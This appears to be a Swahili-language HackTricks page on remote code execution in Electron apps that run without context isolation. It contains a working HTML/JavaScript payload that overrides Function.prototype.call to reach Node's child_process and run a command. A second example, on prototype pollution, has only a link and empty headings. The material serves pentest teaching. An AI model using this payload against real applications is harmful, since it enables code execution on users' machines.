Electron contextIsolation RCE kupitia msimbo wa ndani wa Electron

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Mfano 1

Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" msikilizaji wa tukio daima huwekwa na msimbo wa ndani wakati upakiaji wa ukurasa umeanza. Tukio hili linatolewa kabla ya urambazaji:

javascript
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

electron/lib/common/asar.js at 664c184fcb98bb5b4b6b569553e7f7339d3ba4c5 \xc2\xb7 electron/electron \xc2\xb7 GitHub

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Haipo tena

Kisha inaenda hapa:

Ambapo "self" ni kitu cha mchakato wa Node:

Kitu cha mchakato kina rejeleo kwa kazi ya "require":

process.mainModule.require

Kama handler.call itapokea kituo cha mchakato tunaweza kukibadilisha ili kutekeleza msimbo wowote:

html
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>

Mfano 2

Pata kipengele cha require kutoka kwa uchafuzi wa prototype. Kutoka https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Kuvuja:

Kuvunja:

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks